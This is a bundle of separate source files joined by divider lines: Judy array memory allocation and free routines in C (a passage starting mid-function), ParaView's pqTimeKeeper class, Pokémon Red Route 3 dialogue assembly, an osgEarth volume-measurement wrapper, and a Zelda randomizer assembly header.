else { J__UDYSETALLOCERROR(PjllRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLL2(%lu), Words = %lu\n", PjllRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjll_t, PjllRaw);
return(PjllRaw);
} // j__udyAllocJLL2()
FUNCTION Pjll_t j__udyAllocJLL3(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF3POPTOWORDS(Pop1);
Pjll_t PjllRaw;
PjllRaw = (Pjll_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjllRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjllRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLL3(%lu), Words = %lu\n", PjllRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjll_t, PjllRaw);
return(PjllRaw);
} // j__udyAllocJLL3()
#ifdef JU_64BIT
FUNCTION Pjll_t j__udyAllocJLL4(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF4POPTOWORDS(Pop1);
Pjll_t PjllRaw;
PjllRaw = (Pjll_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjllRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjllRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLL4(%lu), Words = %lu\n", PjllRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjll_t, PjllRaw);
return(PjllRaw);
} // j__udyAllocJLL4()
FUNCTION Pjll_t j__udyAllocJLL5(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF5POPTOWORDS(Pop1);
Pjll_t PjllRaw;
PjllRaw = (Pjll_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjllRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjllRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLL5(%lu), Words = %lu\n", PjllRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjll_t, PjllRaw);
return(PjllRaw);
} // j__udyAllocJLL5()
FUNCTION Pjll_t j__udyAllocJLL6(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF6POPTOWORDS(Pop1);
Pjll_t PjllRaw;
PjllRaw = (Pjll_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjllRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjllRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLL6(%lu), Words = %lu\n", PjllRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjll_t, PjllRaw);
return(PjllRaw);
} // j__udyAllocJLL6()
FUNCTION Pjll_t j__udyAllocJLL7(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF7POPTOWORDS(Pop1);
Pjll_t PjllRaw;
PjllRaw = (Pjll_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjllRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjllRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLL7(%lu), Words = %lu\n", PjllRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjll_t, PjllRaw);
return(PjllRaw);
} // j__udyAllocJLL7()
#endif // JU_64BIT
// Note: Root-level leaf addresses are always whole words (Pjlw_t), and unlike
// other j__udyAlloc*() functions, they are returned non-raw, that is, without
// malloc namespace or root pointer type bits (the latter are added later by
// the caller):
FUNCTION Pjlw_t j__udyAllocJLW(Word_t Pop1)
{
Word_t Words = JU_LEAFWPOPTOWORDS(Pop1);
Pjlw_t Pjlw = (Pjlw_t) MALLOC(JudyMalloc, Words, Words);
TRACE_ALLOC6("0x%x %8lu = j__udyAllocJLW(%lu), Words = %lu\n", Pjlw,
j__udyMemSequence++, Pop1, Words, Pop1);
// MALLOCBITS_SET(Pjlw_t, Pjlw); // see above.
return(Pjlw);
} // j__udyAllocJLW()
FUNCTION Pjlb_t j__udyAllocJLB1(Pjpm_t Pjpm)
{
Word_t Words = sizeof(jlb_t) / cJU_BYTESPERWORD;
Pjlb_t PjlbRaw;
PjlbRaw = (Pjlb_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
assert((Words * cJU_BYTESPERWORD) == sizeof(jlb_t));
if ((Word_t) PjlbRaw > sizeof(Word_t))
{
ZEROWORDS(P_JLB(PjlbRaw), Words);
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjlbRaw); }
TRACE_ALLOC5("0x%x %8lu = j__udyAllocJLB1(), Words = %lu\n", PjlbRaw,
j__udyMemSequence++, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjlb_t, PjlbRaw);
return(PjlbRaw);
} // j__udyAllocJLB1()
#ifdef JUDYL
FUNCTION Pjv_t j__udyLAllocJV(Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JL_LEAFVPOPTOWORDS(Pop1);
Pjv_t PjvRaw;
PjvRaw = (Pjv_t) MALLOC(JudyMalloc, Pjpm->jpm_TotalMemWords, Words);
if ((Word_t) PjvRaw > sizeof(Word_t))
{
Pjpm->jpm_TotalMemWords += Words;
}
else { J__UDYSETALLOCERROR(PjvRaw); }
TRACE_ALLOC6("0x%x %8lu = j__udyLAllocJV(%lu), Words = %lu\n", PjvRaw,
j__udyMemSequence++, Pop1, Words, (Pjpm->jpm_Pop0) + 2);
MALLOCBITS_SET(Pjv_t, PjvRaw);
return(PjvRaw);
} // j__udyLAllocJV()
#endif // JUDYL
// ****************************************************************************
// FREE FUNCTIONS:
//
// To help the compiler catch coding errors, each function takes a specific
// object type to free.
// Note: j__udyFreeJPM() receives a root pointer with NO root pointer type
// bits present, that is, they must be stripped by the caller using P_JPM():
FUNCTION void j__udyFreeJPM(Pjpm_t PjpmFree, Pjpm_t PjpmStats)
{
Word_t Words = sizeof(jpm_t) / cJU_BYTESPERWORD;
// MALLOCBITS_TEST(Pjpm_t, PjpmFree); // see above.
JudyFree((Pvoid_t) PjpmFree, Words);
if (PjpmStats != (Pjpm_t) NULL) PjpmStats->jpm_TotalMemWords -= Words;
// Note: Log PjpmFree->jpm_Pop0, similar to other j__udyFree*() functions, not
// an assumed value of cJU_LEAFW_MAXPOP1, for when the caller is
// Judy*FreeArray(), jpm_Pop0 is set to 0, and the population after the free
// really will be 0, not cJU_LEAFW_MAXPOP1.
TRACE_FREE6("0x%x %8lu = j__udyFreeJPM(%lu), Words = %lu\n", PjpmFree,
j__udyMemSequence++, Words, Words, PjpmFree->jpm_Pop0);
} // j__udyFreeJPM()
FUNCTION void j__udyFreeJBL(Pjbl_t Pjbl, Pjpm_t Pjpm)
{
Word_t Words = sizeof(jbl_t) / cJU_BYTESPERWORD;
MALLOCBITS_TEST(Pjbl_t, Pjbl);
JudyFreeVirtual((Pvoid_t) Pjbl, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE5("0x%x %8lu = j__udyFreeJBL(), Words = %lu\n", Pjbl,
j__udyMemSequence++, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJBL()
FUNCTION void j__udyFreeJBB(Pjbb_t Pjbb, Pjpm_t Pjpm)
{
Word_t Words = sizeof(jbb_t) / cJU_BYTESPERWORD;
MALLOCBITS_TEST(Pjbb_t, Pjbb);
JudyFreeVirtual((Pvoid_t) Pjbb, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE5("0x%x %8lu = j__udyFreeJBB(), Words = %lu\n", Pjbb,
j__udyMemSequence++, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJBB()
FUNCTION void j__udyFreeJBBJP(Pjp_t Pjp, Word_t NumJPs, Pjpm_t Pjpm)
{
Word_t Words = JU_BRANCHJP_NUMJPSTOWORDS(NumJPs);
MALLOCBITS_TEST(Pjp_t, Pjp);
JudyFree((Pvoid_t) Pjp, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJBBJP(%lu), Words = %lu\n", Pjp,
j__udyMemSequence++, NumJPs, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJBBJP()
FUNCTION void j__udyFreeJBU(Pjbu_t Pjbu, Pjpm_t Pjpm)
{
Word_t Words = sizeof(jbu_t) / cJU_BYTESPERWORD;
MALLOCBITS_TEST(Pjbu_t, Pjbu);
JudyFreeVirtual((Pvoid_t) Pjbu, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE5("0x%x %8lu = j__udyFreeJBU(), Words = %lu\n", Pjbu,
j__udyMemSequence++, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJBU()
#if (defined(JUDYL) || (! defined(JU_64BIT)))
FUNCTION void j__udyFreeJLL1(Pjll_t Pjll, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF1POPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjll_t, Pjll);
JudyFree((Pvoid_t) Pjll, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLL1(%lu), Words = %lu\n", Pjll,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLL1()
#endif // (JUDYL || (! JU_64BIT))
FUNCTION void j__udyFreeJLL2(Pjll_t Pjll, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF2POPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjll_t, Pjll);
JudyFree((Pvoid_t) Pjll, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLL2(%lu), Words = %lu\n", Pjll,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLL2()
FUNCTION void j__udyFreeJLL3(Pjll_t Pjll, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF3POPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjll_t, Pjll);
JudyFree((Pvoid_t) Pjll, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLL3(%lu), Words = %lu\n", Pjll,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLL3()
#ifdef JU_64BIT
FUNCTION void j__udyFreeJLL4(Pjll_t Pjll, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF4POPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjll_t, Pjll);
JudyFree((Pvoid_t) Pjll, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLL4(%lu), Words = %lu\n", Pjll,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLL4()
FUNCTION void j__udyFreeJLL5(Pjll_t Pjll, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF5POPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjll_t, Pjll);
JudyFree((Pvoid_t) Pjll, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLL5(%lu), Words = %lu\n", Pjll,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLL5()
FUNCTION void j__udyFreeJLL6(Pjll_t Pjll, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF6POPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjll_t, Pjll);
JudyFree((Pvoid_t) Pjll, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLL6(%lu), Words = %lu\n", Pjll,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLL6()
FUNCTION void j__udyFreeJLL7(Pjll_t Pjll, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAF7POPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjll_t, Pjll);
JudyFree((Pvoid_t) Pjll, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLL7(%lu), Words = %lu\n", Pjll,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLL7()
#endif // JU_64BIT
// Note: j__udyFreeJLW() receives a root pointer with NO root pointer type
// bits present, that is, they are stripped by P_JLW():
FUNCTION void j__udyFreeJLW(Pjlw_t Pjlw, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JU_LEAFWPOPTOWORDS(Pop1);
// MALLOCBITS_TEST(Pjlw_t, Pjlw); // see above.
JudyFree((Pvoid_t) Pjlw, Words);
if (Pjpm) Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyFreeJLW(%lu), Words = %lu\n", Pjlw,
j__udyMemSequence++, Pop1, Words, Pop1 - 1);
} // j__udyFreeJLW()
FUNCTION void j__udyFreeJLB1(Pjlb_t Pjlb, Pjpm_t Pjpm)
{
Word_t Words = sizeof(jlb_t) / cJU_BYTESPERWORD;
MALLOCBITS_TEST(Pjlb_t, Pjlb);
JudyFree((Pvoid_t) Pjlb, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE5("0x%x %8lu = j__udyFreeJLB1(), Words = %lu\n", Pjlb,
j__udyMemSequence++, Words, Pjpm->jpm_Pop0);
} // j__udyFreeJLB1()
#ifdef JUDYL
FUNCTION void j__udyLFreeJV(Pjv_t Pjv, Word_t Pop1, Pjpm_t Pjpm)
{
Word_t Words = JL_LEAFVPOPTOWORDS(Pop1);
MALLOCBITS_TEST(Pjv_t, Pjv);
JudyFree((Pvoid_t) Pjv, Words);
Pjpm->jpm_TotalMemWords -= Words;
TRACE_FREE6("0x%x %8lu = j__udyLFreeJV(%lu), Words = %lu\n", Pjv,
j__udyMemSequence++, Pop1, Words, Pjpm->jpm_Pop0);
} // j__udyLFreeJV()
#endif // JUDYL
|
/*=========================================================================
Program: ParaView
Module: $RCSfile$
Copyright (c) 2005-2008 Sandia Corporation, Kitware Inc.
All rights reserved.
ParaView is a free software; you can redistribute it and/or modify it
under the terms of the ParaView license version 1.2.
See License_v1.2.txt for the full ParaView license.
A copy of this license can be obtained by contacting
Kitware Inc.
28 Corporate Drive
Clifton Park, NY 12065
USA
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
=========================================================================*/
#include "pqTimeKeeper.h"
#include "vtkEventQtSlotConnect.h"
#include "vtkSmartPointer.h"
#include "vtkSMDoubleVectorProperty.h"
#include "vtkSMPropertyHelper.h"
#include "vtkSMProxy.h"
#include "vtkSMProxyProperty.h"
#include <QList>
#include <QMap>
#include <QPointer>
#include <QtDebug>
#include <QVector>
#include "pqApplicationCore.h"
#include "pqPipelineSource.h"
#include "pqServerManagerModel.h"
#include "pqView.h"
#include <vtkstd/vector>
//-----------------------------------------------------------------------------
class pqTimeKeeper::pqInternals
{
public:
vtkSmartPointer<vtkEventQtSlotConnect> VTKConnect;
};
//-----------------------------------------------------------------------------
pqTimeKeeper::pqTimeKeeper( const QString& group, const QString& name,
vtkSMProxy* timekeeper, pqServer* server, QObject* _parent/*=0*/)
: pqProxy(group, name, timekeeper, server, _parent)
{
this->Internals = new pqInternals();
this->Internals->VTKConnect = vtkSmartPointer<vtkEventQtSlotConnect>::New();
this->Internals->VTKConnect->Connect(timekeeper->GetProperty("Time"),
vtkCommand::ModifiedEvent, this, SIGNAL(timeChanged()));
this->Internals->VTKConnect->Connect(timekeeper->GetProperty("TimestepValues"),
vtkCommand::ModifiedEvent, this, SIGNAL(timeStepsChanged()));
this->Internals->VTKConnect->Connect(timekeeper->GetProperty("TimestepValues"),
vtkCommand::ModifiedEvent, this, SIGNAL(timeRangeChanged()));
this->Internals->VTKConnect->Connect(timekeeper->GetProperty("TimeRange"),
vtkCommand::ModifiedEvent, this, SIGNAL(timeRangeChanged()));
pqServerManagerModel* smmodel =
pqApplicationCore::instance()->getServerManagerModel();
QObject::connect(smmodel, SIGNAL(sourceAdded(pqPipelineSource*)),
this, SLOT(sourceAdded(pqPipelineSource*)));
QObject::connect(smmodel, SIGNAL(sourceRemoved(pqPipelineSource*)),
this, SLOT(sourceRemoved(pqPipelineSource*)));
QObject::connect(smmodel, SIGNAL(viewAdded(pqView*)),
this, SLOT(viewAdded(pqView*)));
QObject::connect(smmodel, SIGNAL(viewRemoved(pqView*)),
this, SLOT(viewRemoved(pqView*)));
this->blockSignals(true);
// ServerManagerModel may already have some registered sources
// (happens when loading state).
// So we pretend that every one of the sources is getting
// newly added.
QList<pqPipelineSource*> sources = smmodel->findItems<pqPipelineSource*>(
this->getServer());
foreach(pqPipelineSource* src, sources)
{
this->sourceAdded(src);
}
QList<pqView*> views = smmodel->findItems<pqView*>(this->getServer());
foreach (pqView* view, views)
{
this->viewAdded(view);
}
this->blockSignals(false);
if (sources.size() > 0)
{
emit this->timeStepsChanged();
emit this->timeRangeChanged();
}
emit this->timeChanged();
}
//-----------------------------------------------------------------------------
pqTimeKeeper::~pqTimeKeeper()
{
delete this->Internals;
}
//-----------------------------------------------------------------------------
QList<double> pqTimeKeeper::getTimeSteps() const
{
vtkSMPropertyHelper helper(this->getProxy(), "TimestepValues");
QList<double> list;
for (unsigned int cc=0; cc < helper.GetNumberOfElements(); cc++)
{
list.push_back(helper.GetAsDouble(cc));
}
return list;
}
//-----------------------------------------------------------------------------
int pqTimeKeeper::getNumberOfTimeStepValues() const
{
return vtkSMPropertyHelper(this->getProxy(),
"TimestepValues").GetNumberOfElements();
}
//-----------------------------------------------------------------------------
double pqTimeKeeper::getTimeStepValue(int index) const
{
if (index < this->getNumberOfTimeStepValues())
{
return vtkSMPropertyHelper(this->getProxy(),
"TimestepValues").GetAsDouble(index);
}
return 0.0;
}
//-----------------------------------------------------------------------------
int pqTimeKeeper::getTimeStepValueIndex(double time) const
{
int num_values = this->getNumberOfTimeStepValues();
double *values = new double[num_values+1];
vtkSMPropertyHelper(this->getProxy(), "TimestepValues").Get(values,
num_values);
int cc=1;
for (cc=1; cc < num_values; cc++)
{
if (values[cc] > time)
{
delete[] values;
return (cc-1);
}
}
delete[] values;
return (cc-1);
}
//-----------------------------------------------------------------------------
QPair<double, double> pqTimeKeeper::getTimeRange() const
{
vtkSMPropertyHelper helper(this->getProxy(), "TimeRange");
return QPair<double, double>(helper.GetAsDouble(0),
helper.GetAsDouble(1));
}
//-----------------------------------------------------------------------------
double pqTimeKeeper::getTime() const
{
return vtkSMPropertyHelper(this->getProxy(), "Time").GetAsDouble(0);
}
//-----------------------------------------------------------------------------
void pqTimeKeeper::setTime(double time)
{
vtkSMPropertyHelper(this->getProxy(), "Time").Set(time);
this->getProxy()->UpdateVTKObjects();
}
//-----------------------------------------------------------------------------
void pqTimeKeeper::sourceAdded(pqPipelineSource* source)
{
vtkSMProxyProperty* pp = vtkSMProxyProperty::SafeDownCast(
this->getProxy()->GetProperty("TimeSources"));
if (!pp->IsProxyAdded(source->getProxy()))
{
pp->AddProxy(source->getProxy());
this->getProxy()->UpdateVTKObjects();
}
}
//-----------------------------------------------------------------------------
void pqTimeKeeper::sourceRemoved(pqPipelineSource* source)
{
vtkSMProxyProperty* pp = vtkSMProxyProperty::SafeDownCast(
this->getProxy()->GetProperty("TimeSources"));
pp->RemoveProxy(source->getProxy());
this->getProxy()->UpdateVTKObjects();
}
//-----------------------------------------------------------------------------
bool pqTimeKeeper::isSourceAdded(pqPipelineSource* source)
{
vtkSMProxyProperty* pp = vtkSMProxyProperty::SafeDownCast(
this->getProxy()->GetProperty("TimeSources"));
return (source && pp->IsProxyAdded(source->getProxy()));
}
//-----------------------------------------------------------------------------
void pqTimeKeeper::viewAdded(pqView* view)
{
vtkSMProxyProperty* pp = vtkSMProxyProperty::SafeDownCast(
this->getProxy()->GetProperty("Views"));
if (!pp->IsProxyAdded(view->getProxy()))
{
pp->AddProxy(view->getProxy());
this->getProxy()->UpdateProperty("Views");
}
}
//-----------------------------------------------------------------------------
void pqTimeKeeper::viewRemoved(pqView* view)
{
vtkSMProxyProperty* pp = vtkSMProxyProperty::SafeDownCast(
this->getProxy()->GetProperty("Views"));
if (pp->IsProxyAdded(view->getProxy()))
{
pp->RemoveProxy(view->getProxy());
this->getProxy()->UpdateProperty("Views");
}
}
|
_Route3Text1::
text "Whew... I better"
line "take a rest..."
cont "Groan..."
para "That tunnel from"
line "CERULEAN takes a"
cont "lot out of you!"
done
_Route3BattleText1::
text "Hey! I met you in"
line "VIRIDIAN FOREST!"
done
_Route3EndBattleText1::
text "You"
line "beat me again!"
prompt
_Route3AfterBattleText1::
text "There are other"
line "kinds of #MON"
cont "than those found"
cont "in the forest!"
done
_Route3BattleText2::
text "Hi! I like shorts!"
line "They're comfy and"
cont "easy to wear!"
done
_Route3EndBattleText2::
text "I don't"
line "believe it!"
prompt
_Route3AfterBattleText2::
text "Are you storing"
line "your #MON on"
cont "PC? Each BOX can"
cont "hold 20 #MON!"
done
_Route3BattleText3::
text "You looked at me,"
line "didn't you?"
done
_Route3EndBattleText3::
text "You're"
line "mean!"
prompt
_Route3AfterBattleText3::
text "Quit staring if"
line "you don't want to"
cont "fight!"
done
_Route3BattleText4::
text "Are you a trainer?"
line "Let's fight!"
done
_Route3EndBattleText4::
text "If I"
line "had new #MON,"
cont "I would've won!"
prompt
_Route3AfterBattleText4::
text "If a #MON BOX"
line "on the PC gets"
cont "full, just switch"
cont "to another BOX!"
done
_Route3BattleText5::
text "That look you"
line "gave me, it's so"
cont "intriguing!"
done
_Route3EndBattleText5::
text "Be nice!"
prompt
_Route3AfterBattleText5::
text "Avoid fights by"
line "not letting"
cont "people see you!"
done
_Route3BattleText6::
text "Hey! You're not"
line "wearing shorts!"
done
_Route3EndBattleText6::
text "Lost!"
line "Lost! Lost!"
prompt
_Route3AfterBattleText6::
text "I always wear"
line "shorts, even in"
cont "winter!"
done
_Route3BattleText7::
text "You can fight my"
line "evolved #MON!"
done
_Route3EndBattleText7::
text "Done"
line "like dinner!"
prompt
_Route3AfterBattleText7::
text "Trained #MON"
line "are stronger than"
cont "the wild ones!"
done
_Route3BattleText8::
text "Eek! Did you"
line "touch me?"
done
_Route3EndBattleText8::
text "That's it?"
prompt
_Route3AfterBattleText8::
text "ROUTE 4 is at the"
line "foot of MT.MOON."
done
_Route3Text10::
text "ROUTE 3"
line "MT.MOON AHEAD"
done
|
#include "stdafx.h"
#include "oepMeasureVolumeHander.h"
#include "MeasureVolumeHandler.h"
#include "oepHandleMapManager.h"
using namespace gEarthPack;
namespace gEarthPack
{
class MeasureVolumeCallback : public MeasureVolumeHandler::MeasureVolumeResultHandler
{
public:
MeasureVolumeCallback()
{
}
virtual void onVolumeChanged(MeasureVolumeHandler* sender, double volume)
{
oepMeasureVolumeHander^ handle = oepHandleMapManager::getHandle<oepMeasureVolumeHander>(sender);
if (handle == nullptr)
return;
handle->Volume = volume;
}
};
}
oepMeasureVolumeHander::oepMeasureVolumeHander()
{
}
void oepMeasureVolumeHander::bind(osgEarth::MapNode* pMapNode)
{
MeasureVolumeHandler* mth = new MeasureVolumeHandler();
mth->setMapNode(pMapNode);
mth->getResHandlers().push_back(new MeasureVolumeCallback());
bind(mth);
oepHandleMapManager::registerHandle(mth, this);
mth->setIntersectionMask(0x1);
_nodemask = pMapNode->getNodeMask();
pMapNode->setNodeMask(0x1);
//Style style = mth->getLineStyle();
//style.getOrCreate<LineSymbol>()->stroke()->width() = 1.0f;
//style.getOrCreate<AltitudeSymbol>()->clamping() = AltitudeSymbol::CLAMP_TO_TERRAIN;
//style.getOrCreate<AltitudeSymbol>()->technique() = AltitudeSymbol::TECHNIQUE_GPU;
//mth->setLineStyle(style);
}
void oepMeasureVolumeHander::unbind(osgEarth::MapNode* pMapNode)
{
MeasureVolumeHandler* handle = as<MeasureVolumeHandler>();
if (!handle)
return;
if (handle->getMapNode())
{
handle->getMapNode()->setNodeMask(_nodemask);
}
handle->setMapNode(NULL);
oepHandleMapManager::unRegisterHandle(handle);
}
double oepMeasureVolumeHander::Volume::get()
{
return _volume;
}
void oepMeasureVolumeHander::Volume::set(double v)
{
_volume = v;
NotifyChanged("Volume");
}
bool oepMeasureVolumeHander::bGreatCircle::get()
{
MeasureVolumeHandler* handle = as<MeasureVolumeHandler>();
if (!handle)
return false;
return handle->getGeoInterpolation() == osgEarth::GEOINTERP_GREAT_CIRCLE;
}
void oepMeasureVolumeHander::bGreatCircle::set(bool b)
{
MeasureVolumeHandler* handle = as<MeasureVolumeHandler>();
if (!handle)
return;
if (b)
handle->setGeoInterpolation(osgEarth::GEOINTERP_GREAT_CIRCLE);
else
handle->setGeoInterpolation(osgEarth::GEOINTERP_RHUMB_LINE);
NotifyChanged("bGreatCircle");
}
double oepMeasureVolumeHander::Deep::get()
{
MeasureVolumeHandler* handle = as<MeasureVolumeHandler>();
if (!handle)
return 0.0;
return handle->getDeep();
}
void oepMeasureVolumeHander::Deep::set(double v)
{
MeasureVolumeHandler* handle = as<MeasureVolumeHandler>();
if (!handle || osg::equivalent(v,handle->getDeep()))
return;
handle->setDeep(v);
NotifyChanged("Deep");
}
|
;================================================================================
; The Legend of Zelda, A Link to the Past - Randomizer General Development & Bugfixes
;================================================================================
lorom
;================================================================================
;org $00FFC0 ; <- 7FC0 - Bank00.asm : 9173 (db "THE LEGEND OF ZELDA " ; 21 bytes)
;db #$23, $4E
org $00FFD5 ; <- 7FD5 - Bank00.asm : 9175 (db $20 ; rom layout)
;db #$35 ; set fast exhirom
db #$30 ; set fast lorom
;org $00FFD6 ; <- 7FD6 - Bank00.asm : 9176 (db $02 ; cartridge type)
;db #$55 ; enable S-RTC
org $00FFD7 ; <- 7FD7 - Bank00.asm : 9177 (db $0A ; rom size)
db #$0B ; mark rom as 16mbit
org $00FFD8 ; <- 7FD8 - Bank00.asm : 9178 (db $03 ; ram size (sram size))
db #$05 ; mark sram as 32k
org $3FFFFF ; <- 1FFFFF
db #$00 ; expand file to 2mb
org $1FFFF8 ; <- FFFF8 timestamp rom
db #$20, #$18, #$07, #$23 ; year/month/day
;================================================================================
!ADD = "CLC : ADC"
!SUB = "SEC : SBC"
!BLT = "BCC"
!BGE = "BCS"
!INVENTORY_SWAP = "$7EF38C"
!INVENTORY_SWAP_2 = "$7EF38E"
!NPC_FLAGS = "$7EF410"
!NPC_FLAGS_2 = "$7EF411"
!MAP_OVERLAY = "$7EF414" ; [2]
!PROGRESSIVE_SHIELD = "$7EF416" ; ss-- ----
!HUD_FLAG = "$7EF416" ; --h- ----
!FORCE_PYRAMID = "$7EF416" ; ---- p---
!IGNORE_FAIRIES = "$7EF416" ; ---- -i--
!SHAME_CHEST = "$7EF416" ; ---s ----
!HAS_GROVE_ITEM = "$7EF416" ; ---- ---g general flags, don't waste these
!HIGHEST_SWORD_LEVEL = "$7EF417" ; --- -sss
!SRAM_SINK = "$7EF41E" ; <- change this
!FRESH_FILE_MARKER = "$7EF4F0" ; zero if fresh file
;$7EF41A[w] - Programmable Item #1
;$7EF41C[w] - Programmable Item #2
;$7EF41E[w] - Programmable Item #3
;$7EF418 - Goal Item Counter
;$7EF420 - $7EF466 - Stat Tracking Bank 1
;$7EF450 - $7EF45F - RNG Item (Single) Flags
!MS_GOT = "$7F5031"
!DARK_WORLD = "$7EF3CA"
!REDRAW = "$7F5000"
!GANON_WARP_CHAIN = "$7F5032";
!TILE_UPLOAD_BUFFER = "$7EA180";
!FORCE_HEART_SPAWN = "$7F5033";
!SKIP_HEART_SAVE = "$7F5034";
!INVENTORY_SWAP = "$7EF38C"
!INVENTORY_SWAP_2 = "$7EF38E"
!ITEM_LIMIT_COUNTS = "$7EF390"
!SHOP_PURCHASE_COUNTS = "$7EF3A0"
;================================================================================
incsrc hooks.asm
incsrc treekid.asm
incsrc spriteswap.asm
incsrc hashalphabethooks.asm
;org $208000 ; bank #$20
org $A08000 ; bank #$A0
